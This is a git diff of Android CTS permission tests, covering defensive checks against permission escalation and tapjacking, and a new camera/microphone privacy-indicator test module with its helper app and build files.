- * limitations under the License.
- */
-
-package android.permission3.cts
-
-import android.content.pm.PermissionInfo
-import androidx.test.runner.AndroidJUnit4
-import org.junit.After
-import org.junit.Assert.assertEquals
-import org.junit.Before
-import org.junit.Test
-import org.junit.runner.RunWith
-
-@RunWith(AndroidJUnit4::class)
-class PermissionEscalationTest : BasePermissionTest() {
-    companion object {
-        const val APP_APK_PATH_NON_RUNTIME =
-            "$APK_DIRECTORY/CtsPermissionEscalationAppNonRuntime.apk"
-        const val APP_APK_PATH_RUNTIME = "$APK_DIRECTORY/CtsPermissionEscalationAppRuntime.apk"
-        const val APP_PACKAGE_NAME = "android.permission3.cts.permissionescalation"
-    }
-
-    @Before
-    @After
-    fun uninstallApp() {
-        uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
-    }
-
-    @Test
-    fun testCannotEscalateNonRuntimePermissionsToRuntime() {
-        installPackage(APP_APK_PATH_NON_RUNTIME)
-        installPackage(APP_APK_PATH_RUNTIME, reinstall = true)
-
-        // Ensure normal permission cannot be made dangerous
-        val permissionInfo1 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO1", 0)
-        assertEquals(
-            "Shouldn't be able to change normal permission to dangerous",
-            PermissionInfo.PROTECTION_NORMAL, permissionInfo1.protection
-        )
-
-        // Ensure signature permission cannot be made dangerous
-        val permissionInfo2 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO2", 0)
-        assertEquals(
-            "Shouldn't be able to change signature permission to dangerous",
-            PermissionInfo.PROTECTION_SIGNATURE, permissionInfo2.protection
-        )
-    }
-}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
index f0b1f80..6b8678d 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
@@ -28,6 +28,7 @@
 import androidx.test.runner.AndroidJUnit4
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNull
+import org.junit.Assume
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
@@ -36,6 +37,12 @@
 
 @RunWith(AndroidJUnit4::class)
 class PermissionReviewTest : BaseUsePermissionTest() {
+
+    @Before
+    fun assumeNotIndividuallyControlled() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+    }
+
     @Before
     fun installApp22CalendarOnly() {
         installPackage(APP_APK_PATH_22_CALENDAR_ONLY)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index a5f8939..5360f1d 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -17,6 +17,7 @@
 package android.permission3.cts
 
 import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.content.Intent
 import android.content.pm.PackageManager
 import android.support.test.uiautomator.By
 import com.android.compatibility.common.util.SystemUtil
@@ -42,26 +43,46 @@
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
 
+        val buttonCenter = waitFindObject(By.text(
+                getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT))).visibleCenter
+
         // Wait for overlay to hide the dialog
+        context.sendBroadcast(Intent(ACTION_SHOW_OVERLAY))
         waitFindObject(By.res("android.permission3.cts.usepermission:id/overlay_description"))
+
         try {
             // Try to grant the permission, this should fail
             SystemUtil.eventually({
                 if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
                         PackageManager.PERMISSION_DENIED) {
-                    clickPermissionRequestAllowForegroundButton(100)
+                    uiDevice.click(buttonCenter.x, buttonCenter.y)
+                    Thread.sleep(100)
                 }
                 assertAppHasPermission(ACCESS_FINE_LOCATION, true)
             }, 10000)
         } catch (e: RuntimeException) {
             // expected
         }
-        // Permission should not be granted and dialog should still be showing
+        // Permission should not be granted
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
 
         // On Automotive the dialog gets closed by the tapjacking activity popping up
         if (!isAutomotive) {
-            clickPermissionRequestAllowForegroundButton()
+            // Verify that clicking the dialog without the overlay still works
+            context.sendBroadcast(Intent(ACTION_HIDE_OVERLAY))
+            SystemUtil.eventually({
+                if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
+                        PackageManager.PERMISSION_DENIED) {
+                    uiDevice.click(buttonCenter.x, buttonCenter.y)
+                    Thread.sleep(100)
+                }
+                assertAppHasPermission(ACCESS_FINE_LOCATION, true)
+            }, 10000)
         }
     }
-}
\ No newline at end of file
+
+    companion object {
+        const val ACTION_SHOW_OVERLAY = "android.permission3.cts.usepermission.ACTION_SHOW_OVERLAY"
+        const val ACTION_HIDE_OVERLAY = "android.permission3.cts.usepermission.ACTION_HIDE_OVERLAY"
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt
old mode 100644
new mode 100755
index 7d06770..8fdddfb
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest22.kt
@@ -16,6 +16,7 @@
 
 package android.permission3.cts
 
+import org.junit.Assume
 import org.junit.Before
 import org.junit.Test
 
@@ -23,8 +24,11 @@
  * Runtime permission behavior tests for apps targeting API 22.
  */
 class PermissionTest22 : BaseUsePermissionTest() {
+
     @Before
     fun installApp22AndApprovePermissionReview() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         installPackage(APP_APK_PATH_22)
         approvePermissionReview()
     }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 59cb9aa..31e6f3a 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -17,6 +17,7 @@
 package android.permission3.cts
 
 import androidx.test.filters.FlakyTest
+import org.junit.Assume
 import org.junit.Before
 import org.junit.Test
 
@@ -232,6 +233,8 @@
     @Test(timeout = 120000)
     @FlakyTest
     fun testNoResidualPermissionsOnUninstall() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         // Grant all permissions
         grantAppPermissions(
             android.Manifest.permission.WRITE_CALENDAR,
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt
index fcfc1bb..de58d43 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionUpgradeTest.kt
@@ -16,6 +16,7 @@
 
 package android.permission3.cts
 
+import org.junit.Assume
 import org.junit.Test
 
 /**
@@ -25,6 +26,8 @@
 
     @Test
     fun testUpgradeKeepsPermissions() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         installPackage(APP_APK_PATH_22)
 
         approvePermissionReview()
@@ -80,6 +83,8 @@
 
     @Test
     fun testRevokePropagatedOnUpgradeOldToNewModel() {
+        Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
+
         installPackage(APP_APK_PATH_22)
 
         approvePermissionReview()
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
new file mode 100644
index 0000000..ed39021
--- /dev/null
+++ b/tests/tests/permission4/Android.bp
@@ -0,0 +1,41 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsPermission4TestCases",
+    sdk_version: "system_current",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/permission4/AndroidManifest.xml b/tests/tests/permission4/AndroidManifest.xml
new file mode 100644
index 0000000..d4cc71a
--- /dev/null
+++ b/tests/tests/permission4/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission4.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".StartForFutureActivity" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.permission4.cts"
+        android:label="CTS UI tests for permissions">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/permission4/AndroidTest.xml b/tests/tests/permission4/AndroidTest.xml
new file mode 100644
index 0000000..71353aa
--- /dev/null
+++ b/tests/tests/permission4/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS Permission4 test cases">
+
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPermission4TestCases.apk" />
+        <option name="test-file-name" value="CtsAppThatAccessesMicAndCameraPermission.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.permission4.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
new file mode 100644
index 0000000..4cdcf3e
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -0,0 +1,41 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatAccessesMicAndCameraPermission",
+    defaults: ["cts_defaults"],
+    sdk_version: "system_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+
+    static_libs: [
+        "androidx.test.rules",
+        "kotlin-stdlib",
+        "kotlinx-coroutines-android",
+    ],
+
+    srcs: [
+        "src/**/*.kt"
+    ],
+}
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
new file mode 100644
index 0000000..938b5b5
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.permission4.cts.appthataccessescameraandmic"
+          android:versionCode="1">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+
+    <application android:label="CtsCameraMicAccess">
+        <activity android:name=".AccessCameraOrMicActivity"
+        android:exported="true">
+            <intent-filter>
+                <action android:name="test.action.USE_CAMERA_OR_MIC" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
new file mode 100644
index 0000000..2be6926
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission4.cts.appthataccessescameraandmic
+
+import android.app.Activity
+import android.hardware.camera2.CameraAccessException
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.media.AudioFormat.CHANNEL_IN_MONO
+import android.media.AudioFormat.ENCODING_PCM_16BIT
+import android.media.AudioRecord
+import android.media.MediaRecorder.AudioSource.MIC
+import androidx.annotation.NonNull
+import kotlinx.coroutines.GlobalScope
+import kotlinx.coroutines.delay
+import kotlinx.coroutines.launch
+
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val USE_DURATION_MS = 10000L
+private const val SAMPLE_RATE_HZ = 44100
+
+/**
+ * Activity which will, depending on the extra passed in the intent, use the camera, the microphone,
+ * or both.
+ */
+class AccessCameraOrMicActivity : Activity() {
+    private lateinit var cameraId: String
+    private var cameraDevice: CameraDevice? = null
+    private var recorder: AudioRecord? = null
+    private var cameraFinished = false
+    private var runCamera = false
+    private var micFinished = false
+    private var runMic = false
+
+    override fun onStart() {
+        super.onStart()
+        runCamera = intent.getBooleanExtra(USE_CAMERA, false)
+        runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
+
+        if (runMic) {
+            useMic()
+        }
+
+        if (runCamera) {
+            useCamera()
+        }
+    }
+
+    override fun onStop() {
+        super.onStop()
+        cameraDevice?.close()
+        recorder?.stop()
+        finish()
+    }
+
+    private val stateCallback = object : CameraDevice.StateCallback() {
+        override fun onOpened(@NonNull camDevice: CameraDevice) {
+            cameraDevice = camDevice
+            GlobalScope.launch {
+                delay(USE_DURATION_MS)
+                cameraFinished = true
+                if (!runMic || micFinished) {
+                    finish()
+                }
+            }
+        }
+
+        override fun onDisconnected(@NonNull camDevice: CameraDevice) {
+            camDevice.close()
+            throw RuntimeException("Camera was disconnected")
+        }
+
+        override fun onError(@NonNull camDevice: CameraDevice, error: Int) {
+            camDevice.close()
+            throw RuntimeException("Camera error")
+        }
+    }
+
+    @Throws(CameraAccessException::class)
+    private fun useCamera() {
+        val manager = getSystemService(CameraManager::class.java)!!
+        cameraId = manager.cameraIdList[0]
+        manager.openCamera(cameraId, mainExecutor, stateCallback)
+    }
+
+    private fun useMic() {
+        val minSize =
+            AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
+        recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
+        recorder?.startRecording()
+        GlobalScope.launch {
+            delay(USE_DURATION_MS)
+            micFinished = true
+            if (!runCamera || cameraFinished) {
+                finish()
+            }
+        }
+    }
+}
diff --git a/tests/tests/permission4/OWNERS b/tests/tests/permission4/OWNERS
new file mode 100644
index 0000000..01fbb48
--- /dev/null
+++ b/tests/tests/permission4/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 137825
+
+include platform/frameworks/base:/core/java/android/permission/OWNERS
+
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
new file mode 100644
index 0000000..0f36f5a
--- /dev/null
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission4.cts
+
+import android.Manifest
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.app.compat.CompatChanges
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.hardware.camera2.CameraManager
+import android.os.Process
+import android.provider.DeviceConfig
+import android.provider.Settings
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiSelector
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+
+private const val APP_LABEL = "CtsCameraMicAccess"
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
+private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
+private const val INDICATORS_FLAG = "camera_mic_icons_enabled"
+private const val PERMISSION_INDICATORS_NOT_PRESENT = 162547999L
+private const val IDLE_TIMEOUT_MILLIS: Long = 1000
+private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
+private const val TIMEOUT_MILLIS: Long = 20000
+
+class CameraMicIndicatorsPermissionTest {
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.context
+    private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+    private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+    private val packageManager: PackageManager = context.packageManager
+
+    private var wasEnabled = false
+    private val micLabel = packageManager.getPermissionGroupInfo(
+        Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+    private val cameraLabel = packageManager.getPermissionGroupInfo(
+        Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString()
+
+    private var screenTimeoutBeforeTest: Long = 0L
+
+    @Before
+    fun setUp() {
+        runWithShellPermissionIdentity {
+            screenTimeoutBeforeTest = Settings.System.getLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+            )
+            Settings.System.putLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+            )
+        }
+
+        uiDevice.wakeUp()
+        runShellCommand(instrumentation, "wm dismiss-keyguard")
+
+        uiDevice.findObject(By.text("Close"))?.click()
+        wasEnabled = setIndicatorsEnabledStateIfNeeded(true)
+        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+        // the change is set to "false" if present.
+        assumeFalse("feature not present on this device", callWithShellPermissionIdentity {
+            CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT, Process.SYSTEM_UID)
+        })
+    }
+
+    private fun setIndicatorsEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
+        var currentlyEnabled = false
+        runWithShellPermissionIdentity {
+            currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                INDICATORS_FLAG, false)
+            if (currentlyEnabled != shouldBeEnabled) {
+                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                    shouldBeEnabled.toString(), false)
+            }
+        }
+        return currentlyEnabled
+    }
+
+    @After
+    fun tearDown() {
+        if (!wasEnabled) {
+            setIndicatorsEnabledStateIfNeeded(false)
+        }
+        runWithShellPermissionIdentity {
+            Settings.System.putLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+                screenTimeoutBeforeTest
+            )
+        }
+
+        pressHome()
+    }
+
+    private fun openApp(useMic: Boolean, useCamera: Boolean) {
+        context.startActivity(Intent(INTENT_ACTION).apply {
+            putExtra(USE_CAMERA, useCamera)
+            putExtra(USE_MICROPHONE, useMic)
+            addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+        })
+    }
+
+    @Test
+    fun testCameraIndicator() {
+        val manager = context.getSystemService(CameraManager::class.java)!!
+        assumeTrue(manager.cameraIdList.isNotEmpty())
+        testCameraAndMicIndicator(useMic = false, useCamera = true)
+    }
+
+    @Test
+    fun testMicIndicator() {
+        testCameraAndMicIndicator(useMic = true, useCamera = false)
+    }
+
+    private fun testCameraAndMicIndicator(useMic: Boolean, useCamera: Boolean) {
+        openApp(useMic, useCamera)
+        eventually {
+            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+            assertTrue("View with text $APP_LABEL not found", appView.exists())
+        }
+        uiDevice.openNotification()
+        // Ensure the privacy chip is present
+        eventually {
+            val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
+            assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
+            privacyChip.click()
+        }
+        eventually {
+            if (useMic) {
+                val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+                assertTrue("View with text $APP_LABEL not found", appView.exists())
+            }
+            if (useCamera) {
+                val appView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+                assertTrue("View with text $APP_LABEL not found", appView.exists())
+            }
+            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+            assertTrue("View with text $APP_LABEL not found", appView.exists())
+        }
+        pressBack()
+    }
+
+    private fun pressBack() {
+        uiDevice.pressBack()
+        waitForIdle()
+    }
+
+    private fun pressHome() {
+        uiDevice.pressHome()
+        waitForIdle()
+    }
+
+    private fun waitForIdle() =
+        uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
+}
\ No newline at end of file
diff --git a/tests/tests/preference/Android.bp b/tests/tests/preference/Android.bp
index 4d99904..46aa9eb 100644
--- a/tests/tests/preference/Android.bp
+++ b/tests/tests/preference/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPreferenceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index 30bd9fc..1992b95 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -16,6 +16,7 @@
 
 package android.preference.cts;
 
+import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.app.UiModeManager;
@@ -31,8 +32,6 @@
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.Window;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
@@ -50,8 +49,7 @@
     private final UiAutomation mAutomation;
     private int mStatusBarHeight = -1;
     private int mNavigationBarHeight = -1;
-    private Display mDisplay;
-    private Window mWindow;
+    private ActivityTestRule<?> mRule;
 
     TestUtils(ActivityTestRule<?> rule) {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -59,8 +57,7 @@
         mPackageName = mContext.getPackageName();
         mDevice = UiDevice.getInstance(mInstrumentation);
         mAutomation = mInstrumentation.getUiAutomation();
-        mDisplay = rule.getActivity().getDisplay();
-        mWindow = rule.getActivity().getWindow();
+        mRule = rule;
     }
 
     void waitForIdle() {
@@ -165,9 +162,10 @@
 
     private boolean hasVerticalNavBar() {
         Rect displayFrame = new Rect();
-        mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+        final Activity activity = mRule.getActivity();
+        activity.getWindow().getDecorView().getWindowVisibleDisplayFrame(displayFrame);
         DisplayMetrics dm = new DisplayMetrics();
-        mDisplay.getRealMetrics(dm);
+        activity.getDisplay().getRealMetrics(dm);
         return dm.heightPixels == displayFrame.bottom;
     }
 
diff --git a/tests/tests/print/Android.bp b/tests/tests/print/Android.bp
index 74afe97..23ed10c 100644
--- a/tests/tests/print/Android.bp
+++ b/tests/tests/print/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPrintTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/print/ExternalPrintService/Android.bp b/tests/tests/print/ExternalPrintService/Android.bp
index 8beddd5..26d7441 100644
--- a/tests/tests/print/ExternalPrintService/Android.bp
+++ b/tests/tests/print/ExternalPrintService/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsExternalPrintService",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/print/OWNERS b/tests/tests/print/OWNERS
index 81cf137..76e4746 100644
--- a/tests/tests/print/OWNERS
+++ b/tests/tests/print/OWNERS
@@ -1,2 +1 @@
 # Bug component: 47273
-moltmann@google.com
diff --git a/tests/tests/print/printTestUtilLib/Android.bp b/tests/tests/print/printTestUtilLib/Android.bp
index c277017..9abb4ee 100644
--- a/tests/tests/print/printTestUtilLib/Android.bp
+++ b/tests/tests/print/printTestUtilLib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "print-test-util-lib",
 
diff --git a/tests/tests/proto/Android.bp b/tests/tests/proto/Android.bp
index 88dd506..29c3e5c 100644
--- a/tests/tests/proto/Android.bp
+++ b/tests/tests/proto/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsProtoTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 7d861a5..0ed0e87 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -1,4 +1,8 @@
 
+package {
